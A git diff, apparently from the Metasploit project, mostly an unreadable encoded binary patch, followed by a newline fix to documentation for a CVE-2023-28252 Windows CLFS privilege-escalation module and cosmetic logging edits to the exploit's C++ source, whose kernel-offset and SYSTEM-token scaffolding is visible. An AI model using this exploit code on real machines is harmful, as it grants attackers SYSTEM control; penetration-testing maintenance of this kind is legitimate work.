zr_JpfXNC8q+FHK=T?{wtCHiMGMuG9`=!*k{FJ73tY}Hc7T{bBj9;~QbxzKb#kr1EYj0SzB*(G(ddI??rE70kvMP6t zqi^57jsKyZ>gbOo<~VNZ-``~2)Zc}~ zkp@N6A1)|p#I$iUCy$vjV|qizW=wTY95cl+b?n&bV`ezI<~0b$P8uEUsLVyTmandEU%5OLErCOIy2W<+8=|Cf__MZ|Q=( zyu7}PR-$Z>>D-)~9SfJjgk{%^7?#b*99hs=xg^=qHM@yCZT0Gvj!~1wPIs(WlCx^b z$}q>m%*>o6Yt}Sqs*wKnE-KxHb%E0UxKjAv?}$V-=dn;+!Q5k@QJZ$5H7d zaPcHNTzOPNi&tmgtP9NIpe%6wx9|gW_!c=@T@6pbECP8MF>1!l5tAGMI|#FtZ;_$a>ic9OBsu)I>9R#I~dc*K}Ql}JVI$6X^d}RoW(fQ#F$nU zFay^j=25~pfN?qFFveAku|jDc)r@hmVji`Oos0w0bb?WX=HXzxnh;Ivl9>IKy}i{N}XM%M5EuP{(+!sV+po zH980D7)LU`iLr|@cSDiF_-2-;Ge*-ij||3GK{MkQdCXYP3dM{!FfL(C5Bbqi&KP@A z%%h4iu7l0P%eXD$fN44dxDqsvNXB-KUnDW39V?_V&S#v?_!h=ljIqJRJn|R^GcI6! zE8`Nz%NUn2&er)CqLLXj>7}EZ@n#K09pl}ML#OK;ZDZ_YOg9+mNMgKQLy^XK2jdLJ z?l@-TF(aOFG2@nu%NTcNTxA(x>}9-@v6!I~Sjae(@h-*=jjt70NjDD{D?~C*W89H( z7GoYA(@O?CkpRnp z6+!iIoq!}xK=ZmC{gyU(ffHhd&*O+UR%v-QCm@Lv@b){JU;eJ9dGEQj$H@UQPcY^Z zuDD>cXo=-P{Tzu z&p~Jsvm|fvlI&b_4kOAI>2bk2yH+r^<`b38s(W(v0GS-fW}PD9yh@tkhY3?JvjUVhQ+T2oE^CI%8Cz9yteL!)M^?*zWi$EPz-BMAQs|hYb8H2u z;s6#t)eN6uOpgH4@o6)8bu)af8TKx=>t1Fh;6gKnTE>?AVl#PNGx^`m5Q#L zn!(s=Gwy6=STm@CW(xZlThsC~#@3Xsim^3`t!*X`U7}0alDimlc(+JnMi}X4 z#`_pM7*{av$hexZHH{CrUPow!cQS6x`bms+6`=nOWrj8FPHh$-ow1d`jf|~ntprsvHcNo|zn2+ZIfbE1bq=g4T@qtUp24^m>lZV&A}C|*VEGxwof(TP zZQlt@@e3C-Xhuax24m|=DW9=5G#4|ruB=KKTO(=nk+Zy+eidWbH{%zz%&;0+z%rde ztC2YwTUS=iBWOO-H6N$~xKUc&x^Y~fGQiP%q-x#^QkQuWrrBTd56|P2lrya(swUrM z@9yb6$38mQo%y9+*w%K1c%m7Ouh;T)rq&e8qBHWfyqxL72lVoH1yjrJ1-85ISFL|a z)2?DS_72m4UCA_lpT<@M8GEIk7q~5sWis)rrb)lZQCNEW8Rs?Q=l@IBmQ^+tjKw3G zpT@L|sd&`nFBVoIrf7!1w{*>V5Vv-6c=zL|DabO%2PKUvNmz#4LVg zGycZyx_YXc@iX4l69AErk_9!CBSwe*5$8(5H2R+A)n}+JUKqX*^RW z)80%InWivJWtz@3lW8{7jZE`3b&IXcC}6sqX))8iO!qO}&$NW;!%Rz=mN6}7dW`AY zOfCDTOpKxDQx=?KTFX>Cqe~`$X(ZElrcS0VrYTI*nOYO3EXLVP^O)unrJ=8Y8O2QZ zF)d+Q#7txD`o&M~&; z7Z(^?D>xS!TPMFd#tu%v-;AxZukh#$>$5FdQ2;Znb;3}_*4Z zj*GFiPMO5mTJcF?Y|bafAeE`iux3b;7+VvVG{)8hW(H$x%9i0#Js+|E7@o1*y0#Md zoEXM);5>EXe0y6DP7x__(V-vetUH*xn5KNF?mcdw;x0a?<<@zAA7ee&!-^|oE1FWq zR@IaOO_B)izQYTWu+gvDw>bL`!Fe z)!i}}Ta7V`vDIC(8C$&}kFnJ~^BFr}n~nm;R`)DsOpTG^7yFoDHO3OgR%0w>Y&FI* z##Uo2XWX5P;izETLqk!?*qSU?F~)4%j9;8#MsE&K&A1O^FXMiUYZ(t>T*vq-#^PJu z29g*DFdob}l<{zmUqmwFYF2PCPGRh1Jc6-{@hHYgj7Kw0VLX;`D&ujC(-@D}`9~XI z#spT#U_6m=7UL<5vl&lioX0qgaX#Z&j0+ggW?anJJ(n5#n6ZR$iKW0e(pu=?fuNM- zl5sg>JL5{m2ICYScl;Qi(Q>!&XNH#pv|wDvIDm1$ce+jk8CURGttI0~mIpI-G7e#! z#JCmXR1>58TQeh_6+#(jF%DyFjihZDTO(;(#(AvYj&T9waK`%>M=&lWO!XhhjB-|p zVqD2Mn(-ONF^s*8J20+e9LqSst4l17aU|o8jGe&djK;x?Bv$CeIF&ITUp9|)#$6a^ zF^*@P$G9uw0><4K?_=DZajBOVvwAS2oE3U9u4LSc@fpUw8G9M`VJvENj{7kVWt_m+ z!8nnztA-b|1~Mas6$UX*V|*3k48}=}vl$O&oX)r?0mu4O!$alrSw1jaCqWIUF!lkqsl?j&Z6XGSXH35?SjPh_0McoO40##0y< zFrLbIALBH}rHrR(>=xzBn8gZ}jAt`G!+0)ZFXJVQ>lm+K9B^Kjz)HrEjIC{VPR2HK zMuPsA#0-O{DAr7=1>;nf2Qp4)9K<+_aWLaN#-WT07`J7-k8wM~)c;GF5y1-OjH4M> zGLB_j&A2z?TE;^d2VBr4Fr0BD<57&Aj8_0t{33-JHlAapF*X=yFmAy(n{goHe8xeH zix~$qE@2$axQy|TU_Sp=GGhfRoMCL^Nt>6k!MKib3&sII=o|+!j$|Cf*vUAUaT4R` zP&5CSjx%EjE2J~F@uV+{vB5ZxaSO%;i~||(V;sb|lyNZQa>mhaW>hj`2;*wTHl9V+ zG7hw6l|Skn2Qdz19L(6kIGVAG@eszTjNLY#Wu`MDkZ~5{AjWx&qZt=49>TbUvCTm( z3a{;E9Oy8is9+q#xJqNU7{ZKd%RsyiP-_`rEPmn~GY(}ugt3FM&8fq?7zZ*=vBEP> zGcoGl)>{Y2umUj7wgNEDXKZt6{bEa>afzkRxXjW|)cO^cKI1CF)c%5)QEdfC(gA82 z2Qe14x&&-PwLFw@5MzfWPtkIhC1;#s;n7;220Vq4QDsr7_4Kj)GZwU>2HZe+Q25y}uxBx?B?W`r{Sgt3G1(~Mn= zOEh-lVNPw}c2-DZ{2t>B#-|x)Gk%|OKI4BgE@u1!;}XWl7?&~r)WoRN3T9Xr2vv;V z<^a`m34CF6;V&oHiF>}C7`V{0iUkZ~Q$PcjaWy2L(X9Ld=I5i^|3IKeoH@pFt* z86RPs&iEALEXEHr&SU%};{wKCFy5!JTinTvQdX#DT+aAK#+8iUWqgM5myErP&oZuK z{5j(QyDou`8AqBJ<^MV}tfi7JjGY|7y3Dp#Hms$QB$lsaeQW8&T53sUc^1p9)v+MP z=_IH6pTvv+zKrh6IExLeVQej@wPc*f^1X};82^j$KE_WmE@eEKaXGMgQTaSGDp}zr z#s!?9;f&9)ynwN_G-9pgcv)^WYHPhOnDy&eZmo=je#;k?)?!hBq3bA@1EllN$}=Hc zerx%ESngzOt&9lP4`F!{%cnB77O$L)Qw_H^xSScqY@j3KbT+V%aRAF(G0tK+pLInj z%UiQNkL7nUE?|5O<489L2xZ1TR+z?Ea251nT*~qs#txSEXI#$mJjPipPi9=n^39Ch z4o*NAGpyC7s~Ml+06Q6b8Bb^IV_eR7zjgl4;0U8wp^_D@wG6PlGvhNX&t&Xn z{0ieb#zz?kw9qA7#yFC3xmo^TI+^hnDDz>IsW032Zq<8qeY%ea#9b&OqHB?B0rVflK-`&gdB*sJAkv5Oh$tdPXG zjt%59&S3dq#sLAkNN;7F#|iGhIFjY_89N!TVw`X4qx@r;k;DoM7^iTA0~x2Xd?Vw1 z9HE18I?ER^E?{{a<1ChEFis--RR4+0$YX^AjEfm>U|hupyE86j`7*}kj8`+RWNc@A zhVfU7y};&0Wid1ASm8m&0fD-RpJ5!y_%X&##$y>L1$uIRwBHuw4rr|djuBG?4SSAe zIJFth_Q4~dU%+?@=0+od_xZ?20hckJD^l^p2$Oxm=c`rgDFG%d@v=TobhNe zM!2aC&-gINfM}}|Kni5Q>4V8YDq|{ADuFD<<52-5FJL@HOhpoLmD>zgHexqSpvak# z1_M;Yj&@cFOg9at`e2f0`Cv+5fe)SvT;_u*LuY*OXyDLr%f5TM`ADIwfiWF<#*ITC zOjVNagQ-!L`rygHl|Gm<gwq9;xXZ$BJ|=WSeR1jdpKD>6A2_)660~GFiLPL zW9o)f0_hESu34g4&Ghp$b|W>~z&=)>eoJ*!$~aX_G*evBAfIbC$}`PyHDfCQbS zq%M&(B$ukhX=3z0Dl)ouPhy3+$R7=p>5M0GE6#2vFK#9;Wjq6om>Qu~f&SZ?83 z!XZ$!inLvO&*sbaKRZO6U3Ju)t&p&T9jyiTsaylqo)}}Pz0BZ;DMC9K#m0pc3zl~< zqU?C4g5F3l^zK+ABXt@-+)vYU*5jRLf#0lprwP zia>@#7ub#VhcQqU_#pqec2FBx>eba?A^V{@EdO3xJ0mY_^*^q z3U#Gq!V+RNOYf?EK6Xld{FIvfR~n1LH=FtWI9VBpppGIplclp6>S_$+f}ayd*(CKV zWfLaMYz8JlA)msi8@m`WDy^qs#O(92R{?($n^92|1g*(Dnxs*M!9-vgvJi^*fqS(@ zs^MWyVCzVMzj?MvM&Yhhba-P^JQ_{`Vl75cyiLMtIKxVP%vQjEr5d4dS2A0y&3Y-d zxC4!sPmoz^-V2=89ciR0$;VHrBz^1f%{Jaq1HwNm`#DdS=*;X zM^U&dnXS`is}XB4g5n(p4M{djy41&Z75vRgn!;VFq+v^!MM?$6O>BI?I}4f`PO^4G zAki7{H#HnZ;jUyDpX%s=&RUJ^lp$1sI^s0i-{CUM5qVgpkI`!Quhg+9=#@HFnQ6IY z06K~bJ2UW70JDH;JWjQCY9Osy@Uv-TD2mjtG*G!zSWly^%9v{pXz7AZIfCJJ0u3gs zd`#9hHA(7MGFk3pG7H6%g8d?RHn(Z9rdyjxkkowmn-*&fg}YL*!j`VDeNd=EI6TZt zX{Awcrq{=&z@`+ZwJ`;8SOQmK+H-=hM0bOflKy^JoZx{DFeDa*%Ro{yjOOntSD zbVGX^!7aTAUkM#NTH8>T)xKe9lMFD@NYz8?S1QX&W$TUJcKxc^cQLFPCOxiHiny^Qv{kgJfWDx?t)P*Xn4$&MGe;TVdM zu~`C1M&Yj52!`;|pRT%>-b#+9bN?1z+AKzs%v z@T|1exUQ@9v4%IQTZT#$ul+ z%i(vzH8#c=3UZ~!2s3(g$bdq?)ffP^O|xM*fUP5m{62A5dkN2-sXc%*L~z6N1K8%%%2 z5c?1a4{ci=#9iiNq!RusoqH(UmCAu^Sw|#1_~t{tF~ShELg)acI>qb41fJg)^|#@L z0iEokq_bTV$KyKyYvK4Dir@lrFq$GT zb>i2pUYUDCCa`OSx-G$oaHnA}Ax#PU=HxDpA3tIQydu2`Z!WC^hzwue46T>dgs1hg z!7J|#dwDud&KuF$&~`PBN6K-mMSB71yCltxv6evD{blwK9T_bM*@v6Zq zAY)oDk$CjF$G2NF@CFf26k{BsMCddKx;U#v{hAo%LRUrkeuSMAU(Omc&@l`Nky7+s zv_|7(CBnEF;0Qu{0x5~*bv&Lm8*+g^bEZR=bb?r@b=B7 zzkK>DroR&UE5qNDGW3GFZ=lg*MfFx8euHx$JmsGB zX0Ba1JEfv1;ABv(I&_uMTXs_FtE-G@?&>JKx-MFXy%3re(*&b=p;`Fq*n<5;@W_B# zB(g$g2+=9lU&Q9(t7tQVg&*F@mw`JN``}KQ_Wbc;c|!=u#Q%_CB#0GV|BsZ_#w4SI zbSiaklF@BAm5P8>n_&~iNYK{)qIG6~XpN+{PH35J^GB&B;2WAuqhj!-659!(OH^G> zGJ3hY`iXY7Ea6v$f=<%~?LbH9)GJ8zx_G_la&D=JIksA~&0Qq|5^oR{{e@VK!Q>*g zJ9nb@Xh26mM?gnFNBj>RRM7t-%!n%milX#BBVE+C_hBD((!cOm3Rezi1mGKSLYBcR z!}5#c)m?*)jzdWGQ?Qb1h>yM2ZQ+80La|_)l3YUnuB1(&7clhDpEL~rASl2jv>R$NJauhkl!Q* zfB%3UOxn#lJqJqz0>e~%X*(_Jv#e7 z*`n3wVhTPB=HJzB>LbHQ7pbU1fofJAhZ=rnaZG|dYbO4#CB;@4E(Z@ax|pNaR&bm}_1~m zLyfL+Gy+^e*gc5U`5QcP3XPLgjwQ*p>hqyS9QCQoLyc~cq?-n@sXGUr3^*Drh7L1& zwDV&4CGZfVi@U)nU$$%MEMKYams?F-FSX8UN8fGM$ z`l(R4m-MfJXL*BuhN)j>>SsWI>~Ld{yEYr;b|dN*YBWmu;;_g-5t-OaMB3s-aBWbv zK0#n76YAj%^qpVguUDEOqFdn$N&iP@fcvEbnu!@GsayS$^JlaY;z7S3?8KaGppF8s zHm*vp!q9UWZYWH5qM6S{j7i5Z(q&?HH6utgmE+Q>L0_%E8f`Fbv=E!%_FLgkQFyF~ zXTrvemZGT~)#Ixl86YANUt7f23i0_NK3dZ63-{mB(^O9H;%Nw=dZwU|i!tpy05|U% z$`G1rZVTbdv&PdV<8DsN>cH%Pj23DBuBiV0qNA-)L}s_oh)4@J&uS^ilPyS!plSZD zPISi14G{Tv32_J988aSKs>b0a!#pMK(Wk@|)U-O5Vq}?JW$QHR5BS>)Cvm!0BSsjD z6RDd2CXwHCL-d4e6-+aMj6vC5X;MOe#q?J~e`WMn(N&!pVRV>IAtxb#lltFGc>LFi zzB1x}%!aZdGW+Pw@ZfuhVL?r2OU0Ird#0;#BaI#{$#5l@8ShM28%7$j=9z1x5f@9{ zq}>d|+-Bg6g{KFcfnF~}LajPI(pYdco!ruqZ{Lw-KeWsQ{0km@JzggufC|-|uDt}d zIi?<;q1KEtI+?@U1!De&zrQF@t7PO{eve9RKG$nEla0s1gD=U2`3!L`u*}jKOtL-l zO0%#Tq(if?>);6(FXbjfwHF^V~8m_L!vM7_nj%K?W*n? zZ498IIx*UaCi?AYqo-MxS+h`_Q=#Wq1#OaojK-#2m@2nZ|-S z1d&-VFO$xEnT#;L`8!2&s{PMqslqWvSBmwSF?@b-%|@&P@h4M+jRJ-Ti16G%5uVvX zgk!1^o)A{u3AKeX6~<>mtbq&dhDijD58?mP2m2WXAos%%OLXpJqg$92?%-gX zcmi&Q`f{$()@`vDfwhv@J#}UK&Y~=x%50l>A8xg!)6QSC!(_i5W?StNLa`d6i@n~ z2t!0928)P2tcUFE4|z5*^k$nljIcXEuMn|#8ajvJO4vSMxm<;-Cp~vGPmy%R zwZSGH+h`Nc3_aiR#Zhh15DubCDitx+NNA{>nYY?R23$!`HFv7ftuIyfK4i)kjBi8d z_+6wufmd?7O`L98VIP9^HC)pQ3ly!VwKOY&%CN&8n|KZG z7tZ5b@Spa4q>A{_7fXFA)}n27Rujh{^@c3=~m`0U~Nz zc&%0VE0j%ah3nQ!?MX8d8uIZyco*Sx!y9C&U%VHc;69re&hcHT;r+1RChFi;_f&D$ z7@Zp$?HdP>A2=&)RHp#Z1~bGqi6Np*POIwR?3Ni+^e&XemD<3458A}P;Tpns!D%J4 z6;3H3B3y?z`)LwYT|}UWu#Fb2YeUql*BIf^6$p6YA=Lk3-7Xrj`tcfLRzq8O?R}d# z12?Oenl;VHX(*3vpV`Fia3yBFHk8K^u-+mz*O_^y7}3lgmtrE^%3kXE8O8}3v^LMwgV^&k zjp2kZ%``^3sWS5sPnbFK1Y+dD=rgTx(LYg&k9(>2XBpinp?}Wu$(VPb6u-iu zRnK8xj3WD0+e#K1ZKn=Fic2-Olu>ImV!FlvbK9U#X|n zER$mNaVy!lII%R$5JIwN_x1Z_zrFk(niOed?{{(v+$MT*mVmk zm0VBdf2}d!&ulE}mib0ZPx4YH4r^GR;xQh4YPU6aN|CfziuJwKQ`Z_j&8%c&`T0uG z%q)_k`ZhC~%hwv6qpWr_`5`G5z}?A74paRxXJ}ht$yb*`{%^DGFPi7mM81ARik^>} z`~&lhDGg2JuP3DF{G=35^j4SW8H=cj7hPve8%ud9Lz<)FTZlH9Ju%qz5N&MTM9XYy z4njDPp{S02A|$bs2(iTpf96+Hn1)48_2+eZW*;%%h%=Y*%*lvp(+Qj1VKctLrYY+Y zDB5TC5bb9;MSIBGLmq0{Ryp%^bGUcDF=#HOp$c)?@I}$UgPa!IF5zEoRLKgR#!$@j zIyr-c^Wrw)$lWd?Gk1v483kD1+bL2mOK~5ZD_f7Njac5kVhx^+N@b-O8&z%}&Oc!a`B z`^o6=)vHjqW*BY5tsQK>qH1+=Aw;yjt9hslbrPY5(XJ?8krTjyHJRoI?Z~3TvQB#0 zX2d~O-tux(++w4B?;JB%rnc`N?P#LIvOrnPHq#ekSvZ5BLfNjhw{07+1{aKgF1Tu4 zPIL=5fi|-ES~1f*&15zCvrML~F%vaGn`oj!fOdn>;hQKgRtTCOmbtPuTz^$aUlyFM zzX7xlgbrUjng0trk-2OqDYuCo+WgVnPCPAyH9M^I0HFCMpIjBqUn%tbl3v(B&@hnr69_iY7l|V$a`o#U|oHlUjO&LK6b>VKeLy=j;-ctn)Vbvzz0)_L5^p2 zL8W*+oA(+I$e8Ceu4d|ZUgHu_)xU!=-*c}rE*a80NA1~f^d!{4Pd`7xbPruWW!waL2d4_hl~zt z{y|)tPyv(}ajN8?;b;i^=|LYuy&v)c8z0h!V8G1WR}WzgxD*>Mk}x65f+IiCa=6{_ z*Mf$IX?_RLq3kERlKn*QVgG*6m)MV;JYq!~oCa}+JRkJWc0!DXUxed+Pz2(Gzc>QV zZJmn3g(raT?RUCWUx+Z@(eYxD}U;r{#K z+UY7~C>*u?Y|tmzUk%!3n&vw|Z-S%1`Jl6>qoGk_1l6fdzKU*i$y;mj@#I%Tfb!FN7|djtMRfUk;*2icGBUy5JgDAo9k zix>$<{tVDzi(nYHzEePdTa4mGLTNABXG>6GsG4ff4NGxn5{b(PJ-iI#32seSfez0` z&x1b&^eec635L7LO>VmRoddTQN<{a-mBL>FS^-yrL=dfJKhdAzs8sNENf8D|{>I&9 zhPmr(Gx(>#C;AYa7k<5)4E0Z2&S>k|7jVJI4bi{g9Pksh<)X{MkFO4j8{y2-0zJZh ze2rAJS*!Uj(5dXlS4G7maAnxS;fogbugQG2JM5DK1n1r9G6D|dQ-%Vj-z*|W&geAHjZYcaEpw`wlqMyK} zAuLfZTqgXD8^;XVQ05lBx1(PoFwtbV4EWPP?|`GCE&+X+{S~0rE;FK2b_lT*`b6iz zmB60?`UG4y{8gZ>3vl8=^@W0poya753ei}&-J>!7 z-vQ^vXlcU52Bcd$9K-BFYU&<1{t@f7x?mR4?WDi|9XDKj7pY10{eu3cS6VUTdNF|% zrv)Bz{V>dV)ZWJ8_a3GHbx%*{;2QTt5UzB6D?E1{-+fZ*>2MR$rxrW78UJIp24XQ% zAp-J`)9l0-pF$ec+u>tj~qJk>dBl zqZ*m_xtJe1NKGnE+Q1+rTzoRlSipC{PnuZ#f**zX&CCH|4rH!D$}|XHK>dVw!PyDx z#d}(~*wsF>3f6Drmcxs=oA^AK$2&Bz1=X-9L!7*s+m3wlU^nU@Ts(;Ch|hL%Cd{^9 znNo{4qlHAOfG;D%1=#e?T-#=woelBKqeyYq!CR9om?NVqI5kDH6Tc9SYv&Fk+z+c! z5%I;tNG-%3XXf}nWLh+Aaxv%H12Y{yfeK0BKsE}=Bw!yp^9WK4t%LLb#DfMGVB@x8)+{!02aoF3=EZIh(@$7GB*kmu0PZ}Pj9|KXQ?2u=k{tMGE8L?fT zVduO|xOn|jHq#J1h+4>qjr6pepDDzPdyqp~Hr6wb@35X-{>=QRtq;QTwCyr+6lGc> zjH!9X_Me#j-?sm%;aPuUH`sQUdX1l<69H?M}CA;C)DysfCN5wOvyNulzf; zrfW)J;XiCX#c&9Phd3egU!9bWi?LIl`Rj9B0MBN5X7TgfLU^`|Gxws*1>lcfuwB6Z zbY_2-?Sdir+>5qA>_2Coe93kJd(fF*y==Rn8lK*5^Ir; z!CmHJ;(nw!18{i{O-dYg+%s%;m+1m_-7{agK7Thm^`gwg1sCsOjHm)|2>Ds-BHpl9 z`7{5QVfJJW=s&pNb?#pxErc%_SGb@qe)W9yJ3yb^r(W1l| zfaPycA-wp=o5aJfgL}gKqZzFap4e{_=fV=#i;G=f2J2ieu6KPL`rfji>*92zLWlv^ zi))YyS`R1hw?3SQ=|E$YNbGY@h({f;k^FF$>u19SNEfJtJ5YX**Tvu%(gnnq2JFPu z4G$p2AApg!=`!Mr@4rp|7jZDm!QywA?eJwV=UpBg@YCU3q{Jb(d5}Rwcq<%48WZA_ zgVu}BzQ^4{oPIdxUla&G58fkB{1*82AsatuD9qCi2fDx{xDj>e0`Q+m33_1F`}7&% z;)L`|BMNT3utBEu}5e|d^S82DWhVTMBRj^;eDU;35KtQ?MQLNovs&myS^8G==u@p z8_UG!`42N6sYF5eYkR^}!)M*_PWYA^J^(j-VVf}yKSZkW2>ij9wh%MnBG-rDeXg&C ze?Yoc8h-vI{jbE?U-2A(bfO9_FdoxK%@)F+v3x1A01vP8c}yA~f_W@KG7I^5g>Rt( z`~ZCNXpf2EJK+7}tgnMV$!3uk;q&0!<2T3X0r57i#FAr+_{9(MgG{NXt^ycn)QDri0Y z1nHK`IhPhe{_7|-{7;mFkHW1e7oUdXzDKv=OJO<6zmEC85_2mm;6w!8jSBIr;G5H_ zC4LY-d>+k+kHM`-e_(XLcU?aSr_HdnEQE8G-i-zqQ3&`9+KJx@SO0+Sz(?VXnYP)B;9IVrav{x*wiBln&i$eFrEs6?`{AmK zY*Mg`iy4@NPlDT!nz{>qHj9x@_!yiz+xoyI)CTF1YY48s)MN69 z6NMWBi~}kehubdqWMx<#8tE}&V!TGct7Z!H}txv`?Vir~}=Pv&odLRff<>)}(Vo_w~$%YI>f0Ipe19K!42 zr%06MRiw`2*TJ^9C`9dUy58UA~10-GtgDaTD z@M0s%Ok(gW*B7niJX%QFe_vFn#fIDNWOgK6Y!B1_B^$C6nnA4Hs6v1DjI`XN8$FHJ7_z5tCD)8cJr1()d<6hgM#bL}l?!h2D>9;mg zF1+0JC2*zd*|X2=tE1#(+7FjJU?-(kcm!$CjloI3v-yZKT`%rN{iN-M9jobo-(qGl z%qS|ri&sZ!J|YF-D@gs?11GPsEtC&`hty3`xC^OfeQ;ncQ!)97(;l=13cv~$I<6vI zeEwkuIKJy)?*D@vD5D{`rh!s%q8>hnlxY_{CZ>gAd`!bbNCg^(b&oLl5H9}l_x562 zVD_U_M)6^49o>O%hetg|;qZQV&*S93B+L|x*^gFnVgOEZC>>tBdcD1;gK#U_N%;S- zMx@XiINwAXRw{}IQ6YW^E@`%dx(xmcWeN@N{wr&Ei4%qM!(Eh!gCI;I)p+=2k6HRp z1`pxo@Qzow@A0ePpO8lT7C0zRxLC5wUQE0nX&gB4)K_iz6nJ2_ohJt1#jn|X!m}~Y z_p)%AjJjaa9-CNv!u1Yp-plPsoEG@h>(+0FU!XMMrjJPs>6?x%@Fk?mbi?;tKLk(T zXT$ShXdnHrNaY-CK-pz{NWeEyA-*3*-(+zs7Z98K3FiZ*1Ac^t2%q#8Gb9?ovyrHI z6e&+O7u8;=88040YB@F`HEc|p@zeKn->>FC3F5HB^UmAw?pp{8}5TwBaP}H+>7)m)(0>A+=ds!^+>l_93DZ+a|~9D+4y4M z3tI>=_67Z~Ok*7U9jT<9@YJuYp8~H&rPPuQcFiM5nXZF#jMvl=UJ9e~go}52yr!G* z2xRZv%ma@257bUL`{){fmN#=os|#6-SZci)XN8KJ)xvfVmDS(-7<*?=>M3h~2!9 ztBl0Pv{*i zgi46h4R4!Fe8x=`+?(fRLSz2#!~Fi+wsh;@$=~I|6k-y*8};H>!P8Es|M2pZjuc)3S0D|v8dy5dYdVQDa<$hSH{V`(0*s;o!lU!UUXyZ9 zw8LkR67Pg(Tw@ayz?CSIDXa+EJ3?$hs*Tw4Gq0Jl3=dyl!1%!T!6Qhw+!(y(das#D zco1F`qKm`yaWN*a*lVgeAwIK&k&NF7>&j>qym<0bMm~NLJm)65>Sn$ngU=%$z6%DI zaRIz|5M{;+e4xV4B~f_f7CW|h!OetAD!nF60&&^x)B;}t@2z4m;%ng>)ifEtA6{{X z?WPj=ch`5q=_{CIE~P*)fYe&0FpYXiD-Nvmnqj=S{7&YXo04l*}tCtSAy(DUK2q2T(5u= zHrT}CZ%`S9TLllI%v22r<8~?)8=7b>9?N3z!e(2DVi-joq!o)2+=}=RoZMmuW1xlm z|F;_{6(?%ptW9=g&W3+RY6<^luelOs1{8E!y=H{?;tg$F_!rEW@RO7`^SAye^!|~t zLbwk;iz@M*Ftycda`5eNKdQWp`F{X&$~Io2xP-|BKHNcn6DbC-__Mw6Jec~6tz|nL z>GGNwam1@$bmPE9FL_N5;cTI9*6yM*_6z9Q-`&lf!Z&1tusHmh?VDnF*It_- z0&8Dqz>rv+(r4p{8;~ZPI9$Kac1Il6zG3|sT>mCh^>X6C+xu;J70iCidhzf9rfTvJ zk7D)@aFPTAu!#gCBwFdcyn z6YYg#aPmo6nPs_k3{IZw6 z9}K}ID8i>@1pXG);`Pg4%O+=;JjO%>-j~O_+xRrh`gWEnz!$@%s0gngJox~nFK7NZ zHOqW?YM5p!;Zcd79Vtb*e1ho*l=L$s@}ikyy_n~EvBdTI?Xo0Nruq%Dv-u4IdHoha z8B#voaM<;t-k?`_P8g$C<8>hNT71Tfdb3^OqTXH~;W1p)8|ss&y{Na%Tk)daN_Uu8 zM7=RCFFt^jkEl1h6<^d_-(j7Q(W~h?A?mesg^PNnTwXky7bjH+@eJ3CdQnz!M7^0T zFX{zjc~S2KDy^uOhZPRP=2iDV)Z4T=A?htzdGWih7xhM|G7{&z;i6uQRDAJX*Nb{# zQQ@LqJd_vrWIXe~%*XBtQExjblBgH>ASW-baJ{Iv(iASXx?cPW&0~tqo|vs8ar?fYAG^QIn z8@n5O8~Ymv8;2W1&E?IN&DG73=Gx|HbFA5EZrJgvZ{2uPN{jI2Sa-ZP-X9-qxa1Yz z=~JUku_mXfrK!ECqbc3g+0@aOy}7qxe2?$Ma86rZ zTYg(%TTxqaTcEA9E!Y-nD{rf8t8R<5)wV_3Vr`|#U^0{}PgW+YlaXX?GMbDfon%Y0 zJ=u{=Cp(kf$=+mtaxgiZ98H>(Kb4cpP35KXQ-!IbRBQ4=(hEt;{!~cUaGXdlHog63E$#e3ZLZ`?nb^=bR6LdmO zxl`#>I}xYWi8?XIaax>qr^87*oldvY>-0N=&agA;nDzek4d=egGd)hH|@U z+u~P!MV_N+I6e*<9^37^%%9&_)EHIbmyL{75%i~Fy;PTc;Yi(=J|Fx@r9x$8mVuyd) S8`kdeg+1wQ$M5yM=lLJ~GAlX& diff --git a/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md b/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md index 30cf811d5ae3..793faae416e1 100644 --- a/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md +++ b/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md @@ -126,4 +126,4 @@ Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > -``` \ No newline at end of file +``` diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.cpp b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.cpp index c8d6ccc4b96c..51d27824cde9 100755 --- a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.cpp +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.cpp @@ -1,14 +1,15 @@ #pragma once +//#define DEBUGTRACE 1 + #include "clfs_eop.h" #include - -// Global Variables +// Global Variables IO_STATUS_BLOCK status_block = { 0 }; UINT64 offset_SeSetAccess = 0; UINT64 offset_RtlClearBit = 0; -UINT64 offset_PoFxProcessorNotification=0; +UINT64 offset_PoFxProcessorNotification = 0; UINT64 offset_SeSetAccessStateGenericMapping = 0; UINT64 offset_FsRtlCurrentBatchOplock = 0; func3* _NtFsControlFile; @@ -36,7 +37,7 @@ VOID* temp_chunk = 0; HANDLE logFile = INVALID_HANDLE_VALUE; HANDLE logFile2 = INVALID_HANDLE_VALUE; HANDLE filehandle = INVALID_HANDLE_VALUE; -HANDLE hPipeRead = 0 ; +HANDLE hPipeRead = 0; HANDLE hPipeWrite = 0; UINT64 System_token_value = 0; UINT64 System_token_value2 = 0; @@ -99,8 +100,8 @@ WCHAR* stored_log_arrays[10] = { 0 }; WCHAR* stored_container_arrays[10] = { 0 }; WCHAR* stored_fopen_arrays[10] = { 0 }; WCHAR* tmp_env8 = { 0 }; -VOID * buffer_0x1a0 = { 0 }; -UINT64 * handles_buffer1 = { 0 }; +VOID* buffer_0x1a0 = { 0 }; +UINT64* handles_buffer1 = { 0 }; UINT64* handles_buffer2 = { 0 }; VOID* dest; unsigned int pos_token = 0; @@ -150,7 +151,7 @@ void clfs_eop::getVirtualAddress() { ntbase = LoadLibraryA("ntdll.dll"); if (!ntbase) { - printf("[!] LoadLibrary failed with error %x\n", (unsigned int)GetLastError()); + dprintf("[!] LoadLibrary failed with error %x\n", (unsigned int)GetLastError()); exit(1); } @@ -159,17 +160,15 @@ void clfs_eop::getVirtualAddress() { _NtFsControlFile = (func3*)GetProcAddress(ntbase, "NtFsControlFile"); if (!_NtFsControlFile) exit(1); + dprintf("\nVIRTUAL ADDRESSES AND OFFSETS\n"); - printf("\nVIRTUAL ADDRESSES AND OFFSETS\n"); - - printf("[+] NtFsControlFile Address --> %p\n", _NtFsControlFile); + dprintf("[+] NtFsControlFile Address --> %p\n", _NtFsControlFile); if (!CreatePipe(&hPipeRead, &hPipeWrite, 0, 0x1000)) { exit(0); } - temp_chunk = 